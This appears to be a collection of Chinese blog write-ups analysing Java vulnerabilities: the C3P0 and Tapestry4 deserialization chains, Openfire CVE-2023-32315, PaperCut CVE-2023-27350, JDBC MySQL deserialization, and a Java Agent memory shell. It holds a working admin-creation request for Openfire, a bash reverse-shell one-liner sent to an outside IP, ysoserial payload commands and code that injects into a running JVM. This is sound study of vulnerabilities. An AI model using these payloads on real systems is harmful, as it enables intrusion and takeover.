c3p0链分析

C3P0链分析

环境搭建

1
2
3
4
5
<dependency>
<groupId>com.mchange</groupId>
<artifactId>c3p0</artifactId>
<version>0.9.5.2</version>
</dependency>

URLClassLoader链

  • gadget:
1
2
3
com.mchange.v2.naming.ReferenceableUtils#referenceToObject;-->
com.mchange.v2.naming.ReferenceIndirector.ReferenceSerialized#getObject;-->
com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase#readObject;
  1. 打个ysoserial C3P0的payload先
1
java -jar ysoserial.jar -g C3P0 -a "http://127.0.0.1:9999/:Calc"
  1. 启个http服务,下面放个Calc.class,静态代码块放点恶意代码
1
python -m http.server 9999

漏洞分析

反序列化

  1. sink点:Class.forName出现在com.mchange.v2.naming.ReferenceableUtils#referenceToObject,第二个属性为true时,会触发加载静态代码块中的内容
image-20230713104428141
  1. source:com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase#readObject,需要满足readObject的类实现IndirectlySerialized接口,看了下对应的实现类com.mchange.v2.naming.ReferenceIndirector.ReferenceSerialized
image-20230713110208964
  1. 通过ReferenceSerialized类的getObject方法连接到sink触发的方法
image-20230713112424065
  • 总结:sink的触发限制条件是传入的类要是IndirectlySerialized的实现类

序列化

  1. writeObject的类ConnectionPoolDataSource本身没有实现Serializable序列化接口,抛出NotSerializableException异常的过程中将connectionPoolDataSource进行封装
image-20230713135150907 image-20230713135332316 image-20230713135342744
  1. com.mchange.v2.naming.ReferenceIndirector#indirectFormconnectionPoolDataSource转为Referenceable实例,最终包装成ReferenceSerialized对象
image-20230713135539433

总结

  1. 反序列化过程中,需要满足传入的类要是IndirectlySerialized的实现类,这一点在writeObject的异常封装类中可以满足
  2. 序列化过程中,类需要实现ConnectionPoolDataSourceReferenceable,最终通过其中的reference实例写入恶意的url进行加载类实例
image-20230713140056783

Ref

  1. https://blog.csdn.net/LTianHang/article/details/128909196
  2. https://xz.aliyun.com/t/11830

帆软v10反序列化分析
Here's something encrypted, password is required to continue reading.
Read more
JNI绕rasp

RASP


openfire权限绕过

CVE-2023-32315

环境搭建

  1. 影响版本:3.10.0<=Openfire<4.6.84.7.0 <=Openfire<4.7.5
  2. 搭建环境:Ubuntu18.04Openfire4.7.3,其他默认内嵌配置
    • 直接运行bin目录下的可执行文件./openfire start,就可以参照网上的文章进行初始化配置了

定位filter

  1. 下载源码,然后定位web.xml,鉴权的逻辑在AuthCheckFilter

    image-20230615180212887
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    <filter>
    <filter-name>AuthCheck</filter-name>
    <filter-class>org.jivesoftware.admin.AuthCheckFilter</filter-class>
    <init-param>
    <param-name>excludes</param-name>
    <param-value>
    login.jsp,index.jsp?logout=true,setup/index.jsp,setup/setup-*,.gif,.png,error-serverdown.jsp,loginToken.jsp
    </param-value>
    </init-param>
    </filter>
    ...
    <filter-mapping>
    <filter-name>AuthCheck</filter-name>
    <url-pattern>*.jsp</url-pattern>
    </filter-mapping>

漏洞分析

  1. 先diff一下4.7.3和无洞的4.6.8鉴权filter的区别:

    4.6.8对传入的url进行Unicode解码,然后在进行处理

    image-20230615174900413
  2. 分析4.7.3的鉴权逻辑:

    1. 下面两个判断写死的,没有绕过的可能;
    2. 第一个判断首先要找到exclude配置位置,上面定位的<init-param>中有,然后根据exclude判断是否有恶意的..存在,也就是目录穿越的恶意url
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    public static boolean testURLPassesExclude(String url, String exclude) {
    if (exclude.endsWith("*")) {
    if (url.startsWith(exclude.substring(0, exclude.length()-1))) {
    // Now make sure that there are no ".." characters in the rest of the URL.
    if (!url.contains("..") && !url.toLowerCase().contains("%2e")) {
    return true;
    }
    }
    }
    else if (exclude.contains("?")) {
    if (url.equals(exclude)) {
    return true;
    }
    }
    else {
    int paramIndex = url.indexOf("?");
    if (paramIndex != -1) {
    url = url.substring(0, paramIndex);
    }
    if (url.equals(exclude)) {
    return true;
    }
    }
    return false;
    }
  3. 根据diff说明url在没有Unicode解码的时候,会有被绕过的风险,并且在web.xml的位置是第一个,说明会第一个执行,且前面没有进行过Unicode解码;然后根据第一个判断的结尾要是*,说明exclude选择的是setup/setup-*,构造url:(官方poc)

    log.jsp不在exclude中且能被访问,就说明了存在权限绕过

    1
    http://192.168.67.174:9090/setup/setup-s/%u002e%u002e/%u002e%u002e/log.jsp
    image-20230615182215335

漏洞利用

  1. 创建Admin账户访问后台,poc:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    POST /setup/setup-/%u002e%u002e/%u002e%u002e/user-create.jsp HTTP/1.1
    Cookie: JSESSIONID=node0143yydiecj99r16fbby9vv9lta4.node0; csrf={}
    User-Agent:
    Accept: */*
    Host:
    Accept-Encoding: gzip, deflate
    Connection: close
    Content-Type: application/x-www-form-urlencoded
    Content-Length: 144

    another=a&create=a&username=aizlm&name=asdf&email={}&password=aizlm&passwordConfirm=aizlm&isadmin=true&csrf={}
    image-20230615183112874 image-20230615183051524

Ref

  1. https://mp.weixin.qq.com/s/xthnIAC580tnNaQeDgw6qg
  2. https://github.com/igniterealtime/Openfire/security/advisories/GHSA-gw42-f939-fhvm

某网盘漏洞挖掘
Here's something encrypted, password is required to continue reading.
Read more
javascript引擎漏洞

CVE-2023-27350

  • 未授权+RCE组合拳

环境搭建

环境:ubuntu18.04+papercut22.0.5.63914

软件安装参考:https://www.papercut.com/help/manuals/ng-mf/common/install-linux/

IDEA debug mode调试环境搭建:

  1. ps -ef | grep papercut 查看 执行jar的命令语句

    image-20230510093533669
  2. /proc/{pid} & ls -ail查看exec,运行环境目录

    image-20230510093814800
  3. /home/papercut/server & find . -iname “*.conf” | xargs grep “Djava.locale.providers=COMPAT”

    image-20230510094447597
  4. app-monitor.conf添加上IDEA的debug调试配置,重启服务就完成了

  • 批量反编译jar

    • 反编译相关的jar包
    1. java-decompiler插件下载
    2. "C:\Program Files\Java\jdk-17\bin\java.exe" -cp "C:\Program Files\JetBrains\IntelliJ IDEA 2022.3.1\plugins\java-decompiler\lib\java-decompiler.jar" org.jetbrains.java.decompiler.main.decompiler.ConsoleDecompiler -dgs=true D:\java-audit\server\lib\*.jar D:\java-audit\server\lib_java\
  • 服务经常掉线的情况,看下有没有和服务器连接超时相关的配置,比如timeout啥的

漏洞复现

路由规则

  • 整个路由:反射调用的点,可能会出现框架

    image-20230510183325217
  1. 通过资料知道,路由的Servlet是tapestry的org.apache.tapestry.ApplicationServlet,匹配路径是/app

    image-20230510180002552
  2. tapestry3路由规则

    1
    2
    3
    4
    5
    在 Tapestry 3 中,路由规则是通过页面名称和参数来定义的。Tapestry 3 使用一种基于约定的 URL 映射方式来处理页面请求。
    以下是 Tapestry 3 的路由规则的基本原则:
    页面名称:每个 Tapestry 3 页面都有一个唯一的名称,通常与其对应的类名相同。例如,HomePage 类对应的页面名称是 "HomePage"。
    页面参数:可以在 URL 中传递参数给页面。参数可以是路径参数或查询参数。路径参数是指出现在 URL 路径中的参数,而查询参数是指出现在 URL 查询字符串中的参数。
    路由匹配:Tapestry 3 根据请求的 URL 和页面定义的名称和参数进行匹配。匹配成功后,相应的页面将被加载和渲染。
    image-20230510181527941
  3. WebEngine类(tapestry中用于处理请求和响应的类,在tapestry.applicaiton中绑定)中定义了解析请求参数中service字段的请求路径解析,通过获取相应service(例如PageService),之后的Dashboard根据网上的资料知道一般会有三个文件定义一个页面,.html,.page,.java(例如Dashboard.html,Dashboard.page,Dashboard.java),其中html和page的名字是相同的,漏洞定位在SetupCompleted类中,与Dashboard类一样继承了BasePage,它有相应的html、page和java,根据访问Dashboard的方式可以去构造service=page/SetupCompleted访问。

    image-20230511100158862 image-20230511102422979

未授权访问后台

  1. 漏洞定位的函数biz.papercut.pcng.web.setup.SetupCompleted#formSubmit:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    public void formSubmit(IRequestCycle cycle) {
    SetupData setupData = this.getSetupData();
    this.getAnalyticsConfigurationService().setEnabled(this.isAnalyticsEnabled());
    this.getAnalyticsConfigurationService().adminNotified();
    this.clearSetupData();
    Home homePage = (Home)cycle.getPage("Home");
    homePage.setJavaScriptEnabled(this.isJavaScriptEnabled());
    homePage.performLogin(setupData.getAdminUserName(), LoginType.Admin, false);
    }

    setup安装完时的username为admin,然后重新访问SetupCompleted页面时,getSetupData的adminUserData无论是在重新构造还是之前的setupData都是admin,恰好满足performLogin的执行登录条件。

    image-20230511104117896

    而performLogin是在login的登录条件判断后才会执行,所以出现了在匿名用户成功执行登陆的情况。biz.papercut.pcng.web.pages.Home#login

    image-20230511104545531

    对比新版本如何修复的?

    image-20230512165947838
image-20230512171156991

开发漏洞

  • 打印机脚本RCE

    1. 点击打印机-脚本撰写-应用按钮

      通过uri可以定位跟踪到biz.papercut.pcng.web.components.PrinterDetailsScript#formSubmit:

      1. 检测是否开启脚本编写
      image-20230511121124374
      1. 检测是否关闭沙箱作用域检测

        image-20230511122713919

        其中init(safe)StandardObjects的scope用于定于javascript执行对象的作用域,safe中进行安全受限的作用域加载,而initStandardObjects额外加载了java访问的执行环境与js进行互操作,导致可以执行恶意代码。

        image-20230511122629664
    • 选项–配置编辑器 启用脚本编写和关闭沙箱作用域检测

      image-20230511113717073
    • 构建Runtime执行命令,在执行的过程中,发现构造复杂命令都会报解析异常或者重定向/管道符本身执行不成功,查了资料,是Runtime执行的过程中获取不到linux bash的上下文环境,而>> |都是bash下才能识别的,需要构造的语句中获取到上下文环境,$@获取bash -c输入的所有变量,0是定义的名称可以随便设定,bash -c $@|bash 0 echo bash -i >& /dev/tcp/192.168.227.1/8888 0>&1就相当于bash -c echo bash -i >& /dev/tcp/192.168.227.1/8888 0>&1|bash就能成功反弹shell。

      1. jackson runtime exec
      2. "/bin/bash@-c@bash -i >& /dev/tcp/192.168.227.1/8888 0>&1".split("@")
        • 经常会用的是ProcessBuilder
      image-20230512110552502 image-20230512110808226

总结

  1. 未授权:在用户登录验证后执行登录的函数,去找一下这些函数,是否有其他地方不合法的使用过。
  2. js环境下的沙箱scope作用域的配置是否正确。
  3. Runtime类的执行无法直接获取到linux bash|sh的上下文环境,可以通过$@|bash接收所有bash -c的变量后再执行。

参考链接

  1. https://www.horizon3.ai/papercut-cve-2023-27350-deep-dive-and-indicators-of-compromise/
  2. https://www.huntress.com/blog/critical-vulnerabilities-in-papercut-print-management-software
  3. Runtime获取bash上下文:https://www.anquanke.com/post/id/159554

tapestry4反序列化

环境搭建

  1. maven could not transfer artifact问题

    两个点:1>repository不存在,2>访问不了远程maven仓库,我这里是第二个问题

    修改maven的settings.xml:

    1
    2
    3
    4
    5
    6
    <mirror> 
    <id>alimaven</id>
    <name>aliyun maven</name>
    <url>http://maven.aliyun.com/nexus/content/repositories/central/</url>
    <mirrorOf>central</mirrorOf>
    </mirror>
  2. 相关依赖 javax.servlet-api 3.1.0javax.servlet.jsp-api 2.3.3tapestry-framework 4.1.6jdk7

  3. web.xml 指定servlet及映射关系

    1
    2
    3
    4
    5
    6
    7
    8
    9
    <servlet>
    <servlet-name>ApplicationServlet</servlet-name>
    <servlet-class>org.apache.tapestry.ApplicationServlet</servlet-class>
    </servlet>

    <servlet-mapping>
    <servlet-name>ApplicationServlet</servlet-name>
    <url-pattern>/app</url-pattern>
    </servlet-mapping>
  4. .html,.page,.java配置

    1. Home.html,webapp目录下,tapestry程序入口页面

      1
      <span  jwcid ="@Insert"  value ="ognl:demo"  />
    2. Home.page,WEB-INF目录下

      1
      2
      3
      <?xml version="1.0" encoding="UTF-8"?>
      <!DOCTYPE page-specification PUBLIC "-//Apache Software Foundation//Tapestry Specification 3.0//EN" "http://jakarta.apache.org/tapestry/dtd/Tapestry_3_0.dtd">
      <page-specification class ="cn.demo.page.Home"></page-specification>

      !必须加入DOCTYPE,代码里有相应检查,否则报空

    3. Home.class,位置没有要求

      1
      2
      3
      4
      5
      public abstract class Home extends BasePage {
      public String getDemo() {
      return "tapestry demo...";
      }
      }

      最后目录结构如下:

      image-20230512162242068

路由分析

  • 调用的栈:
image-20230516091508200
  1. sink点是org.apache.tapestry.util.io.SerializableAdaptor#unsqueeze

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    public Object unsqueeze(DataSqueezer squeezer, String encoded) {
    char prefix = encoded.charAt(0);
    try {
    byte[] mimeData = encoded.substring(1).getBytes();
    byte[] decoded = Base64.decodeBase64(mimeData);
    InputStream is = new ByteArrayInputStream(decoded);
    if (prefix == 'Z') {
    is = new GZIPInputStream((InputStream)is);
    }
    InputStream is = new BufferedInputStream((InputStream)is);
    ObjectInputStream ois = new ResolvingObjectInputStream(this._resolver, is);
    Object result = ois.readObject();
    ois.close();

    条件spbase64的加密值要以Z开头。但需要满足GZIP的构造。

  2. org.apache.tapestry.util.io.DataSqueezerImpl#unsqueeze(java.lang.String):

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    public Object unsqueeze(String string) {
    SqueezeAdaptor adaptor = null;
    if (string.equals("X")) {
    return null;
    } else if (string.length() <= 0) {
    return null;
    } else {
    int offset = string.charAt(0) - 33;
    if (offset >= 0 && offset < this._adaptorByPrefix.length) {
    adaptor = this._adaptorByPrefix[offset];
    }

    return adaptor == null ? string : adaptor.unsqueeze(this, string);
    }
    }

    这里根据sp传入的首位字符选择相应的Adaptor,Z或者O

    image-20230516093142335
  3. 再回溯有关反序列化的条件就没有了,来到获取sp参数的函数org.apache.tapestry.services.impl.LinkFactoryImpl#extractListenerParameters:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    public Object[] extractListenerParameters(IRequestCycle cycle) {
    String[] squeezed = cycle.getParameters("sp");
    if (Tapestry.size(squeezed) == 0) {
    return this._empty;
    } else {
    try {
    return this._dataSqueezer.unsqueeze(squeezed);
    } catch (Exception var4) {
    throw new ApplicationRuntimeException(var4);
    }
    }
    }
    image-20230516093552734

    有三个Service可以反序列化sp参数,以DirectService为例。

  4. 入口由tapestry.ApplicationServlet的service方法进入,调用到org.apache.tapestry.engine.AbstractEngine#service,并提取参数到cycle,调用service

    image-20230516094452086
  5. 进到DirectService后,在getLink方法中,把参数封装到了_linkFactory中:

    image-20230516094951250

    接着在service方法的过程中调用了org.apache.tapestry.services.LinkFactory#extractListenerParameters,获取sp并且进行反序列化。

    image-20230516095040408
  6. 通过资料分析,在html的jwcid属性中定义了组件类型,如果是匿名标签,例如jwcid=@form,则通过component=$form访问,可以构造component=$Form&page=Home&service=direct&sp=xxx

    image-20230516095623270

利用链思路

这里就是在满足上述反序列化条件下,因为没有CC的依赖,需要构造CB2的base64的字符串,再在sp参数前拼接上O


Smartbi漏洞挖掘
Here's something encrypted, password is required to continue reading.
Read more
Java Agent 内存马

Java Agent

agentmain

  1. 定义类,写入agentmain
1
2
3
4
5
public static void agentmain(String args, Instrumentation inst) throws Exception{
for (int i = 0; i < 10; i++) {
System.out.println("hello I`m agentmain!!!");
}
}

编写META-INF/MANIFEST.MF

1
2
3
4
Manifest-Version: 1.0
Premain-Class: com.shiroha.demo.PreDemo
Agent-Class: com.shiroha.demo.AgentDemo

将类和MF文件打包成jar

  1. 利用com.sun.tools.attach.VirtualMachine附加进程,
1
2
3
4
5
public static void main(String[] args) throws IOException, AttachNotSupportedException, AgentLoadException, AgentInitializationException {
VirtualMachine virtualMachine = VirtualMachine.attach("{pid}");
virtualMachine.loadAgent("{jar path}");
virtualMachine.detach();
}
image-20230704142834017

Instrumentation

  1. 用于操作目标JVM的可控类
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
public interface Instrumentation {
// 增加一个 Class 文件的转换器,转换器用于改变 Class 二进制流的数据,参数 canRetransform 设置是否允许重新转换。在类加载之前,重新定义 Class 文件,ClassDefinition 表示对一个类新的定义,如果在类加载之后,需要使用 retransformClasses 方法重新定义。addTransformer方法配置之后,后续的类加载都会被Transformer拦截。对于已经加载过的类,可以执行retransformClasses来重新触发这个Transformer的拦截。类加载的字节码被修改后,除非再次被retransform,否则不会恢复。
void addTransformer(ClassFileTransformer transformer);

// 删除一个类转换器
boolean removeTransformer(ClassFileTransformer transformer);

// 在类加载之后,重新定义 Class。这个很重要,该方法是1.6 之后加入的,事实上,该方法是 update 了一个类。
void retransformClasses(Class<?>... classes) throws UnmodifiableClassException;

// 判断目标类是否能够修改。
boolean isModifiableClass(Class<?> theClass);

// 获取目标已经加载的类。
@SuppressWarnings("rawtypes")
Class[] getAllLoadedClasses();
}
  1. 写入恶意逻辑到Transformer,然后通过inst寻找目标中可以控制修改的类

agentmain:

1
2
3
4
5
6
7
8
9
// 寻找可控的类,匹配到执行ClassFileTransformer的transform方法结合Javassist修改目标类的字节码
Class[] allLoadedClasses = inst.getAllLoadedClasses();
for (Class clazz : allLoadedClasses) {
System.out.println("class ==> " + clazz.getName());
if (clazz.getName().equals(TransformerDemo.editClassName)) {
inst.addTransformer(new TransformerDemo(), true);
inst.retransformClasses(clazz);
}
}

Transformer:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
public class TransformerDemo implements ClassFileTransformer {
@Override
public byte[] transform(ClassLoader loader, String className, Class<?> classBeingRedefined, ProtectionDomain protectionDomain, byte[] classfileBuffer) throws IllegalClassFormatException {
try {
new ProcessBuilder("calc").start();
ClassPool classPool = ClassPool.getDefault();
if (classBeingRedefined != null) {
ClassClassPath ccp = new ClassClassPath(classBeingRedefined);
classPool.insertClassPath(ccp);
}
// editClassName 目标类的全类名
CtClass ctClass = classPool.get(editClassName);
CtMethod ctMethod = ctClass.getDeclaredMethod(editMethodName);
ctMethod.setBody("{return \"inject success!!!\";}");
byte[] bytecode = ctClass.toBytecode();
ctClass.detach();
return bytecode;
} catch (IOException | NotFoundException | CannotCompileException e) {
throw new RuntimeException(e);
}
}
}
  1. 生成agentmain的jar,写META-INF/MANIFEST.MF,然后build Artifacts
1
2
3
4
5
6
Manifest-Version: 1.0
Premain-Class: com.shiroha.demo.PreDemo
Can-Retransform-Classes: true
Can-Redefine-Classes: true
Agent-Class: com.shiroha.demo.AgentDemo

  1. 启动Springboot,通过VirtualMechine附加进程,然后注入agentmain的jar
1
2
3
VirtualMachine virtualMachine = VirtualMachine.attach("13192");
virtualMachine.loadAgent("{path to agent jar}\\javaagent1.jar");
virtualMachine.detach();

遇到的小问题

  • inst去寻找加载的classes的时候,发现找pojo类是找不到的,所以这里选择了controller

Epoint漏洞挖掘
Here's something encrypted, password is required to continue reading.
Read more
JDBC反序列化-Mysql

JDBC反序列化

Mysql

环境设置

$5.1.11\leq$

  1. mysql-connector-java-5.1.26

  2. commons-collections-3.2(用来打反序列化链)

payload

  1. fake_mysql_server

    https://wiki.wgpsec.org/knowledge/ctf/JDBC-Unserialize.html

  2. payload

漏洞分析

  1. 调用堆栈
  1. DriverManager#getConnection跟进之后,在ConnectionImpl#connectOneTryOnly中设置拦截器(拦截器的作用是在查询语句执行前后,拦截影响最终的执行结果)。
  1. 接着跟进com.mysql.jdbc.ConnectionImpl#loadServerVariables最后会到执行函数executeQuery来执行拼接的sql语句。

    1. 接着一直调用到com.mysql.jdbc.MysqlIO#sqlQueryDirect方法时,判断statementInterceptors是否为空,不为空则调用之前url中写入的ServerStatusDiffInterceptor,这里的判断很有意思,写了一堆,最后可以只由一个条件this.statementExecutionDepth == 1决定,这个条件由之前执行过一次的sqlQueryDirect自加,初始化的时候是0,满足条件。
    1. 接着调用到查询SHOW SESSION STATUS的地方,通过这个查询获取恶意类
    1. 想要进行readObject还需要去设置前面url中的参数autoDeserialize=true

    2. 然后很奇怪的是,用网上使用的mysql服务器不知道为什么需要加多一行才能出发反序列化的过程

    3. 分析数据包

  1. 这里是调用sink:getObject的函数,而第一次getObjectcolumn=1的时候,不会调用readObject,所以关注点放在第二次get

  2. getObject(2)的时候,如果传入的filed少于两个,代码中检验了要反序列化的filed是否溢出,就会出现问题,所以至少需要传入两个,以防止被抛出异常

  3. 最后网上的数据包没有加上EOF标志位,识别不出来数据为row packet,加上就可以

com.mysql.jdbc.BufferRow#getColumnValuerow packet获取数据:

至于为什么加多一行也可以,可能是设置的column count为2,而后续我放了3个field packet,导致虽然在wireshark里面识别成field packet,但在代码里读取的时候当成row packet(我猜的)

Ref

  1. https://xz.aliyun.com/t/8159
  2. https://pyn3rd.github.io/2022/06/06/Make-JDBC-Attacks-Brillian-Again-I/

其他版本区别

8.x < 8.0.20​

  1. 环境搭建

pom.xml:

1
2
3
4
5
<dependency>
<groupId>mysql</groupId>
<artifactId>mysql-connector-java</artifactId>
<version>8.0.19</version>
</dependency>
  1. 漏洞分析

区别在于:

调用com.mysql.cj.jdbc.ConnectionImpl#connectOneTryOnly时,使用的是queryInterceptor

向服务器发送一次查询请求:

跟进到拦截器进行执行前操作:

然后利用查询SHOW SESSION STATUS的结果,执行到调用sink点的位置:

数据包显示,去掉了EOF标志也能正常识别,可能是改了协议:

image-20230609093400530

6.x

  1. 环境搭建
1
2
3
4
5
<dependency>
<groupId>mysql</groupId>
<artifactId>mysql-connector-java</artifactId>
<version>6.0.6</version>
</dependency>
  1. 漏洞分析

Interceptors选择的是statementInterceptors,剩下的调用和$5.1.11\leq$没有区别

image-20230609093924329

5.1.10 >=​

区别:

  1. 初始化在调用createNewIO之后,调用时执行的Interceptors中没有设置,所以getConnection之后需要再次执行查询生效:

    image-20230609105243325
image-20230609103901832

8.0.20 <​

官方修复:不读序列化数据了,改成读字符串

image-20230615094043456